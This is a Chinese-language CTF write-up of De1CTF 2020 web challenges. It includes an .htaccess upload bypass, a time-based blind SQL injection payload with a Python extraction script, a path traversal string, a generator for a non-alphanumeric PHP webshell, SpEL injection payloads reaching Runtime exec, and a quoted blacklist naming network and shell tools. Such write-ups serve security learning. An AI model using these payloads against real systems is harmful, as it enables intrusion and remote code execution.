de1ctf 2020 check in 1 perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet in contents!
测试发现:禁止ph结尾后缀,但是可以上传.htaccess
上传.htaccess
1 2 AddType application/x-httpd-p\ hp .jpg
上传test.jpg
1 De1ctf{cG1_cG1_cg1_857_857_cgll111ll11lll}
mixture 1 2 3 4 5 6 index.php profile.php select.php member.php admin.php logout.php
除了admin其他用户不会检查密码
神奇的注释
1 2 index.php:<!------ Include the above in your HEAD tag ----------> member.php:<!--orderby-->
后来学长说member.php的orderby参数可以注入,我是有点不信的,后来想想自己没测出来也是正常的:
我不知道orderby会将输入放在sql语句的位置
不知道有没有waf,无法确认waf是否存在
。。。我应该fuzz一下的
黑名单:
最后的payload:
1 http:/ / 134.175 .185 .244 / member.php?orderby= AND case when (ASCII(SUBSTRING ((SELECT USER ()),1 ,1 )))= 1 then BENCHMARK(100000 ,MD5(NOW())) ELSE 2 END
盲注脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import requestsimport timedef findByDichotomy (begin,end ): max_num=end while True : mid=int ((begin+end)/2 ) if begin==max_num: return False if begin==end: return begin if end-begin==1 : if bigger(begin): return end else : return begin if bigger(mid): begin=mid+1 else : end=mid def bigger (num ): return sqlinj(num) def less (num ): pass def equal (num ): pass def sqlinj (num ): burp0_url = "http://134.175.185.244:80/member.php" param={"orderby" :"AND case when (ASCII(SUBSTRING((select group_concat(table_name) from information_schema.tables where table_schema=database()),{POS},1)))>{GUESS} then BENCHMARK(100000,MD5(NOW())) ELSE 2 END" .format (POS=pos,GUESS=num)} burp0_cookies = {"PHPSESSID" : "p781mlp8a9sp3ggrf1solslvn3" } burp0_headers = {"Pragma" : "no-cache" , "Cache-Control" : "no-cache" , "Upgrade-Insecure-Requests" : "1" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" , "Accept-Encoding" : "gzip, deflate" , "Accept-Language" : "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" , "Connection" : "close" } try : requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies,params=param,timeout=2 ) except Exception: return True print ("test " ,num) return False result="" pos=len (result)+1 while True : num=findByDichotomy(32 ,128 ) if num is False : print (result) break result+=chr (num) print (result) pos+=1
1 2 3 4 member,users users:id,username,money member:id,username,password admin 18a960a3a0b3554b314ebe77fe545c85
在cmd5上找到密码: goodlucktoyou
打开admin是一个phpinfo
search是一个类似文件包含的东东
但是很多都不行如/etc/passwd等等
fuzz后得到源码
select.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php include "profile.php" ;$search = $_POST ['search' ];if ($_SESSION ['admin' ]==1 ){ print <<<EOT <form class="form" action="select.php" method="post"> <div class="form-group"> <label for="disabledTextInput">You can search anything here!!</label></br> <input type="text" name="search" id="fromgo" class="form-control"> </div> </div> <div class="form-group"> <input type="submit" name="submit" class="btn btn-info btn-md" value="submit"> </div> </form> EOT ;} else { print <<<EOT <div class="container"> <div class="row" > <div class="col-md-10 col-md-offset-4"> <div class="input-group" display:block;margin:0 auto;> <button class="btn btn-info btn-search " type="button" >You are not admin or not enough money!</button> </span> </div><!-- /input-group --> </div><!-- /.col-lg-6 --> </div> </div> EOT ;} if ($_SESSION ['admin' ]==1 &&!empty ($search )){ Minclude(urldecode($search )); }
admin.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php include "profile.php" ;session_start(); if (empty ($_SESSION ['user' ])){ header("location: index.php" ); } if ($_SESSION ['admin' ]==1 ){ phpinfo(); } else { print <<<EOT <div class="row"> <div class="col-md-6 col-md-offset-4">You are not admin!!!!</div> </div> EOT ;}
member.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php include "profile.php" ;include "config.php" ;$orderby = $_GET ['orderby' ];?> <?php print <<<EOT <div class="table-responsive"> <table class="table"> <!--orderby--> <caption>ALLmember</caption> <thead> <tr> <th>id</th> <th>username</th> <th>money</th></tr> </thead> <tbody> EOT ; if (!empty ($orderby )){ $blacklist = "/if|desc|sleep|rand|updatexml|\^|union|\|\||&&|regexp|exp|extractvalue|length|hex/i" ; if (preg_match($blacklist , $orderby )) exit ("No~~hacker!" ); $sql = "SELECT * FROM users order by id " .$orderby ; $result = $mysqli ->query($sql ); if ($result ===false ){ $sql ="SELECT * FROM users" ; } } else { $sql = "SELECT * FROM users" ; } $result = $mysqli ->query($sql ); while ($row = $result ->fetch_row()){ print <<<EOT <tr> <td>$row [0]</td> <td>$row [1]</td> <td>$row [2]</td></tr> <tr> EOT ; } $result ->free(); $mysqli ->close(); print <<<EOT </tbody> </table> </div> EOT ;
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 <?php error_reporting(0 ); include "config.php" ;session_start(); if (!empty ($_SESSION ['user' ])){ header("location: /profile.php" ); } session_start(); $username = $_POST ['username' ]; $password = $_POST ['password' ]; if (!empty ($username )&&!empty ($password )){ if ($username ==='admin' ) { $sql = "select password from member" ; $result = $mysqli ->query($sql ); $row = $result ->fetch_row(); if ($row [0 ]===md5($password )){ $_SESSION ['user' ]='admin' ; $_SESSION ['admin' ]=1 ; header("location: /profile.php" ); } else { echo "<script>alert('nononon,admin password not right')</script>" ; } } else { $_SESSION ['user' ]='guest' ; $_SESSION ['admin' ]=0 ; header("location: /profile.php" ); } } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8" > <title>profile</title> <link href="static/bootstrap.min.css" rel="stylesheet" id="bootstrap-css" > <script src="static/bootstrap.min.js" ></script> <script src="static/jquery.min.js" ></script> <style> .fakeimg { height: 200 px; background: } </style> </head> <!------ Include the above in your HEAD tag ----------> <body> <div id="login" > <div class ="container "> <div id ="login -row " class ="row justify -content -center align -items -center "> <div id ="login -column " class ="col -md -6"> <div id ="login -box " class ="col -md -19"> <form id ="login -form " class ="form " action ="index .php " method ="post "> <h3 class ="text -center text -info ">Login </h3 > <div class ="form -group "> <label for ="username " class ="text -info ">Username :</label ><br > <input type ="text " name ="username " id ="username " class ="form -control "> </div > <div class ="form -group "> <label for ="password " class ="text -info ">Password :</label ><br > <input type ="password " name ="password " id ="password " class ="form -control "> </div > <div class ="form -group "> <input type ="submit " name ="submit " class ="btn btn -info btn -md " value ="submit "> </div > </form > </div > </div > </div > </div > </div > </body >
emm,Minclude是什么神奇的东西
fuzz后发现其实是读取内存里的内容
fuzz得到/readflag,从中可知flag在/flag中
但是要运行的话,那就必须拿到shell,还是说flag在这个程序里
现有以下几种想法:
利用/proc/xx/cwd/flag来拿到flag但是,fuzz到10000还没有
从内存中直接拿到flag(好像不行)
从程序中拿到flag(不会,也不清楚行不行)
拿到shell(没思路)
Minclude有洞(没找到)
再见
em?
../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
这样也能读取文件,有没有机会文件包含?
Hard_Pentest_1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 <?php highlight_file(__FILE__ ); $sandbox = "uploads/" . md5("De1CTF2020" .$_SERVER ['REMOTE_ADDR' ]);@mkdir($sandbox ); @chdir($sandbox ); if ($_POST ["submit" ]){ if (($_FILES ["file" ]["size" ] < 2048 ) && Check()){ if ($_FILES ["file" ]["error" ] > 0 ){ die ($_FILES ["file" ]["error" ]); } else { $filename =md5($_SERVER ['REMOTE_ADDR' ])."_" .$_FILES ["file" ]["name" ]; move_uploaded_file($_FILES ["file" ]["tmp_name" ], $filename ); echo "save in:" . $sandbox ."/" . $filename ; } } else { echo "Not Allow!" ; } } function Check ( ) { $BlackExts = array ("php" ); $ext = explode("." , $_FILES ["file" ]["name" ]); $exts = trim(end($ext )); $file_content = file_get_contents($_FILES ["file" ]["tmp_name" ]); if (!preg_match('/[a-z0-9;~^`&|]/is' ,$file_content ) && !in_array($exts , $BlackExts ) && !preg_match('/\.\./' ,$_FILES ["file" ]["name" ])) { return true ; } return false ; } ?> <html> <head> <meta charset="utf-8" > <title>upload</title> </head> <body> <form action="index.php" method="post" enctype="multipart/form-data" > <input type="file" name="file" id="file" ><br> <input type="submit" name="submit" value="submit" > </form> </body> </html>
第一步绕过后缀名:.phP
第二步绕过文件内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php $a = 'A' ;$b = 'SYSTEM' ;$c = "POST" ;$vv = '__' ;$v = '_' ;function fuck ($b ) { $data = '' ; $a = 'A' ; $vv = '__' ; $v = '_' ; for ($i = 0 ; $i < strlen($b ); $i ++) { if (ord($b [$i ]) >= ord('a' ) && ord($b [$i ]) <= ord('z' )) { $data .= '($' . $v . '=$____),' ; for ($a = ord('a' ); $a < ord($b [$i ]); $a ++) { $data .= '($' . $v . '++),' ; } } else if (ord($b [$i ]) >= ord('A' ) && ord($b [$i ]) <= ord('Z' )) { $data .= '($' . $v . '=$___),' ; for ($a = ord('A' ); $a < ord($b [$i ]); $a ++) { $data .= '($' . $v . '++),' ; } } else { $data .= '$' . $v . '="' . $b [$i ] . '";' ; } $data .= '($' . $vv . '.=$' . $v .'),' ; } return $data ; } $a ='<?=[($_=[]),($_=@"$_"),($___=$_[("!"!="!")]),($____=$_[("!"=="!")+("!"=="!")+("!"=="!")]),' .fuck($b ).'$_____=$__]?>' ;$a .='<?=[($__="_"),($_=[]),($_=@"$_"),' .fuck($c ).'$_]?>' ;$a .='<?=[($_____($$__[_]))]?>' ;echo $a ;
calc 1 2 GET /spel/calc?calc='1'%2b'1' => 11 GET /spel/calc?calc='1'.length {"timestamp":"2020-05-05T07:23:42.244+0000","status":500,"error":"Internal Server Error","message":"EL1008E: Property or field 'length' cannot be found on object of type 'java.lang.String' - maybe not public or not valid?","path":"/spel/calc"}
谷歌一段时间后发现这里使用spel(Spring 表达式语言 Spring Expression Language )来计算的
黑名单:getClass,String,#,new,T(,reader
1 ''.class.forName('java.l'%2b'ang.Ru'%2b'ntime').getMethod('ex'%2b'ec',''.class)
原本想那shell的后来看到OpenRASP,想想还是直接读取文件方便一点
构造payload:
neW+java.io.RandomAccessFile('/flag','r').readLine()
SpEL中除了java.lang下的类,其他的类在实例化的是否需要完整的包名
flag:De1CTF{NobodyKnowsMoreThanTrumpAboutJava}